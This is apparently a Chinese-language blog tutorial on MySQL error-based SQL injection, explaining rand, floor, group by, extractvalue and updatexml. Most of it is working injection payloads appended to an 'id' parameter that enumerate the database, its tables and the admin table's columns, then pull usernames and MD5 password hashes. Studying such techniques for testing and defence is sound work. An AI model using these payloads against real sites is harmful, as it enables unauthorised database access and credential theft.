web-报错注入

必要的函数

rand

select rand(0) from hackbiao;

rand(0):生成以0开头的随机数,生成的数量与字段下数据的条数相等。如果i没有这个地段的话,就会自己形成一个新的字段打印出来。

count和group by

grouip by在进行排序的时候,会生成一个虚拟机的表进行排序,但是它不会打印出来

复制代码
select username,count(username)x from hackbiao group by username;

floor

向下取整,例如0.9=0

复制代码
select floor(rand(0)*2)x from hackbiao;

extractvalue

复制代码
extractvalue(1,2)
#1:对象  2:路径
#2原本要写的是路径,但是如果路径(XPATH)不对的话,就要把我们要写的sql语句带进去执行,然后同报错信息一起呈现出来

updatexml

复制代码
updatexml(1,2,3)
#1:对象 2:路径 3:修改内容
#跟extractvule一样,当2的路径错了的时候,就会把我们的sql语句带进去执行,然后同报错信息一起显示出来

操作

update

查询数据库

id=12 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

id=12 and updatexml(1,concat(select group_concat(table_name) from information_schema.tables where table_schema=database()),1)

查询数据表

id=130 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

查询表下的字段(admin表下)

id=130 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='admin'),0x7e),1)

读取数据

id=130 and updatexml(1,concat(0x7e,(select group_concat(username,'.........',password) from admin),0x7e),1)

这里是可以看到回显数据是不完整的,看这个感觉就是32位的md5加密。

用长度验证一下猜想,果然是32位。具体数值用substring函数就可以读取了

id=130 and updatexml(1,concat(0x7e,(select password from admin where length(password)=32),0x7e),1)

extractvalue

读取数据库

id=12 and extractvalue(1,concat(0x7e,(select database()),0x7e))

读取数据表

id=12 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='qdm123287303_db'),0x7e))

读取数据

id=130 and extractvalue(1,concat(0x7e,(select password from admin),0x7e))

id=130 and extractvalue(1,concat(0x7e,substring((select password from admin),30,10),0x7e))

相关推荐
制造数据与AI践行者老蒋1 小时前
离谱!PromptTemplate 遇上 JSON,花括号直接引发解析战争
数据库·microsoft·json
中微极客1 小时前
用LangChain 0.3构建生产级RAG与Agent:从API集成到Streamlit部署
数据库·人工智能·langchain
吴声子夜歌1 小时前
MongoDB 4.x——并发优化
数据库·mongodb
不如语冰2 小时前
AI大模型入门-Python进阶-上下文管理与with语句
开发语言·数据结构·数据库·人工智能·pytorch·redis·python
VX_bysjlw9854 小时前
基于微信小程序的宠物用品商城系统-后端74346-计算机毕设原创(免费领源码+带部署教程)
java·redis·微信小程序·eclipse·mybatis·idea·微信开发者工具
l1t4 小时前
DeepSeek总结的DuckLake 架构深度剖析-2
数据库·架构
YOU OU4 小时前
Redis事务
数据库·redis·缓存
数智化管理手记5 小时前
财务大数据怎么管住资金风险?财务大数据和财务数智化到底怎么结合?
大数据·网络·数据库·人工智能·数据挖掘
晓子文集5 小时前
Tushare接口文档:指数成分和权重(index_weight)
大数据·数据库·python·金融·量化投资
吴声子夜歌5 小时前
MongoDB 4.2——入门指南
数据库·mongodb